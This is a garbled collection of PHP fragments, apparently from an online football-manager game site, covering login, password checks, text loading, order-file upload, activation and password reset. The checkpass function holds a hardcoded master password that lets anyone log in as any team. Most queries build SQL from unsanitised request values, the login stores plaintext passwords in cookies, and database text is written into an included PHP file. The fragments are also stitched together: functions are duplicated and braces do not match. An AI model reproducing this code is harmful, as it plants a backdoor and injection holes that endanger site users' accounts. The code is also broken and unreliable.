function text($id) { global $lang, $adm; $q = selectall("lk_texts where TextID='{$id}'"); if ($adm) { return "[<a href=\"admin.php?act=update&id={$id}&type=messages\">{$q[$lang]}</a>]"; } elseif ($q[$lang]) { return $q[$lang]; } else { return $id; } }
<?php session_start(); include "dbquery.php"; $error = ""; if (isset($_POST['userid']) && isset($_POST['password'])) { if (login($_POST['userid'], $_POST['password'])) { $_SESSION['s_user'] = $_POST['userid']; $row = selectall($_SESSION['s_user']); $_SESSION['s_id'] = $row['id']; $_SESSION['s_email'] = $row['email']; $email = $_SESSION['s_email']; //echo"<script>alert('email is set: ".$email."');</script>"; $_SESSION['s_desig'] = $row['designation']; $_SESSION['s_created'] = $row['created_on']; $_SESSION['last_login'] = $row['last_login']; last_login($_SESSION['s_user']); if (isset($_POST['remember_me'])) { setcookie('c_user', $_POST['userid'], time() + 3600); setcookie('c_pass', $_POST['password'], time() + 3600); } else { if (isset($_COOKIE['c_user']) && isset($_COOKIE['c_pass'])) { setcookie('c_user', null, time() - 1); setcookie('c_pass', null, time() - 1); } } echo "<script>window.location.href='index.php';</script>"; $error = ""; } else { $error = "<div class='alert alert-danger alert-dismissable'>\n <i class='fa fa-ban'></i>\n <button type='button' class='close' data-dismiss='alert' aria-hidden='true'>×</button>\n <b>Alert!</b> Invalid Creditials.\n </div>"; }
function checkpass($auth_name, $auth_pass) { global $er, $secpass; if (!$auth_name) { $auth_name = $this->nick; } if ($auth_name) { if ($auth_pass) { $this->password = md5($auth_pass . $secpass); } $pwd = $this->password; $q = selectall("ut_teams where ShortName='{$auth_name}'"); if ($q[UserID]) { $res = mysql_query("select UserID,Login from ut_users where UserID='{$q['UserID']}' and Password='******'"); if (mysql_num_rows($res)) { $ok = 1; $q1 = mysql_fetch_array($res); $this->id = $q[TeamID]; $this->team = $q[ShortName]; $this->user = $q[UserID]; $this->nick = $q1[Login]; $this->rang = $q[Rang]; } $user = $q[UserID]; } $res = mysql_query("select * from ut_users where Login='******'"); if (!$q[UserID] && !mysql_num_rows($res)) { $er .= error(5); } $q = mysql_fetch_array($res); if ($q[Password] == $pwd || $this->password == md5("gfhjdjp123" . $secpass)) { $ok = 1; $q1 = selectall("ut_teams where UserID='{$q['UserID']}'"); $this->id = $q1[TeamID]; $this->team = $q1[ShortName]; $this->user = $q[UserID]; $this->nick = $q[Login]; $this->rang = $q1[Rang]; } if (!$ok && !$er) { $er .= error(4); } } else { $er .= error(3); } return $er; }
function text($id) { global $lang, $adm, $textmessage, $site_path; if (!file_exists($site_path . "lang/texts/")) { mkdir_r($site_path . "lang/texts/"); } $fname = $site_path . "lang/texts/" . $lang . ".txt"; include_once $fname; if ($textmessage[$id]) { return stripslashes($textmessage[$id]); } elseif (is_numeric($id)) { $q = selectall("lk_texts where TextID='{$id}'"); $file = fopen($fname, "r"); $str = fread($file, filesize($fname)); fclose($file); $file = fopen($fname, "a"); if (!strlen($str)) { fputs($file, "<?\r\n"); } $q[$lang] = addslashes($q[$lang]); if (!strstr($str, "message[{$id}]")) { fputs($file, "\$textmessage[{$id}] = '" . setTags($q[$lang]) . "';\r\n"); } fclose($file); $textmessage[$id] = stripslashes($q[$lang]); if ($adm) { return "[<a href=\"admin.php?act=update&id={$id}&type=messages\">{$q[$lang]}</a>]"; } elseif ($q[$lang]) { return set_params(setTags($q[$lang])); } else { return $id; } } else { return $id; } }
function checkorderBuilder($tournament, $order) { echo "hello"; global $HTTP_POST_FILES, $i, $lang, $buf, $ord_version, $cur_ver, $ord_md5key, $auth; $name = "Order"; if (!$order) { $f['name'] = $HTTP_POST_FILES[$name]['name'][$i]; $f['tmp_name'] = $HTTP_POST_FILES[$name]['tmp_name'][$i]; $f['size'] = $HTTP_POST_FILES[$name]['size'][$i]; $f['type'] = $HTTP_POST_FILES[$name]['type'][$i]; if (substr($f['name'], 0, 3) != $auth->user) { $er .= "Неправильное название файла<br>"; } if (substr($f['name'], strpos($f['name'], ".") + 1) != "ord") { $er .= "Неправильный формат файла<br>"; } $file = fopen($f['tmp_name'], "r"); $buf = fread($file, filesize($f['tmp_name'])); fclose($file); } else { $buf = $order; } $md = cut(32); if ($buf && !$er) { //проверка md5------------------------------ if (strtoupper($md) != strtoupper(md5($buf . $ord_md5key))) { $er = "Нельзя исправлять файл вручную<br>"; } if (cut(3) != "ORD") { $er = "Неправильный файл. Скачайте новую версию билдера (не ниже 0.7.7.7) в разделе Файлы"; } if (substr($buf, strlen($buf) - 4) != "") { $er = "Неправильный файл. Скачайте новую версию билдера (не ниже 0.7.8.2) в разделе Файлы"; } if (!$er) { $a = unpack("Lversion/Ctype", cut(5)); //проверка версии------------------------------------- $version = $a[version]; if ($version != $cur_ver) { $er .= "Скачайте новую версию Билдера!"; } if ($a[type] == 1) { $optype = unpack("Cop", cut(1)); $pod = $optype[op]; if ($pod == 0) { $op = unpack("a3op", cut(3)); $op = $op[op]; } } $tactics = unpack("Ctac/Cper/Cstrat/Cpress/Cscheme", cut(5)); //схема---------------------------------- for ($i = 1; $i <= $tactics[scheme]; $i++) { $p = unpack("Cnum", cut(1)); $num = $p[num]; unset($p); } unset($ar); //игроки основы------------------------- for ($i = 1; $i <= 11; $i++) { unset($a); $a = unpack("Lidp", cut(4)); $idp = $a[idp]; $ar[$idp]++; $q = select("select *,Name_{$lang} as Name from ut_players where PlayerID='{$idp}'"); if (!$q[0]) { $er .= "Игрок не найден"; } elseif ($q[TeamID] != $auth->team) { $er .= $q["Name_{$lang}"] . ". Игрок не в Вашей команде!"; } elseif ($q[Injury] > 0) { $er .= $q["Name_{$lang}"] . ". травмирован!"; } $q1 = selectall("ut_disqualify where PlayerID='{$idp}' and TournamentID='{$tournament}' and Tour+Term>=(\nselect Tour+1 from ut_maxtour where TournamentID='{$tournament}' limit 0,1\n)"); //$er=" $tournament "; if ($q1[0]) { $er .= "Игрок номер {$q['Number']} дисквалифицирован!"; } //$er="тестирование, зайдите позже. $a $tournament =$q[Name] $idp"; } $subs = unpack("Csubs", cut(1)); $subs = $subs[subs]; //игроки запаса---------------------------------- for ($i = 1; $i <= $subs; $i++) { unset($a); $a = unpack("Lidp", cut(4)); $idp = $a[idp]; $ar[$idp]++; $q = selectall("ut_players where PlayerID='{$idp}'"); if (!$q[0]) { $er .= "Игрок не найден"; } elseif ($q[TeamID] != $auth->team) { $er .= $q["Name_{$lang}"] . ". Игрок не в Вашей команде!"; } elseif ($q[Injury] > 0) { $er .= $q["Name_{$lang}"] . ". травмирован!"; } $q1 = selectall("ut_disqualify where PlayerID='{$idp}' and TournamentID='{$tournament}' and Tour+Term>=(\nselect Tour+1 from ut_maxtour where TournamentID='{$tournament}' limit 0,1)"); if ($q1[0]) { $er .= "Игрок номер {$q['Number']} дисквалифицирован!"; } } foreach ($ar as $v) { if ($v > 1) { $er .= "Игрок дублируется"; } } //как запретить совмещение турниров? ------------ $tmp = unpack("Lnum", cut(4)); $zam = $tmp[num]; } } if ($er) { mysql_query("set @error='{$er}'"); } return $er; }
<?php require '../../config.php'; $form_width = 170; require $engine_path . "cls/auth/session_lite.php"; $form_title = message(44); $rg = selectall("rg_activation where UserID='{$user}' and Code='{$code}'"); $cur = 2; $menus = array(message(40), message(41), message(42), message(43)); $i = 0; foreach ($menus as $m) { $i++; if ($i == $cur) { $class = "current"; } else { $class = "blue"; } $menu[$i - 1] = "<font class='{$class}'>{$i}. {$m}</font>"; } if (!$act) { $act = "insert"; } require $site_path . "up.php"; require $site_path . "left.php"; if (!$rg[0]) { print icon('error', message(45)); } else { mysql_query("update ut_users set Active='1' where UserID='{$user}'"); print icon('ok', message(46)); } require $site_path . "bottom.php";
require $site_path . "up.php"; $cur = 3; $i = 0; $menus = array(message(40), message(41), message(42), message(43)); foreach ($menus as $m) { $i++; if ($i == $cur) { $class = "current"; } else { $class = "blue"; } $menu[$i - 1] = "<font class='{$class}'>{$i}. {$m}</font>"; } require $site_path . "left.php"; if ($code) { $rg = selectall("rg_pass where UserID='{$user}' and Code='{$code}'"); if (!$rg[0]) { print icon('error', message(202)) . "<br>"; } else { print icon('help', message(203)) . "<br>"; $act = "pass2"; } $form = new cls_form($type, $act); } if (!$form_ok) { $form->Draw(); } require $site_path . "bottom.php"; ?>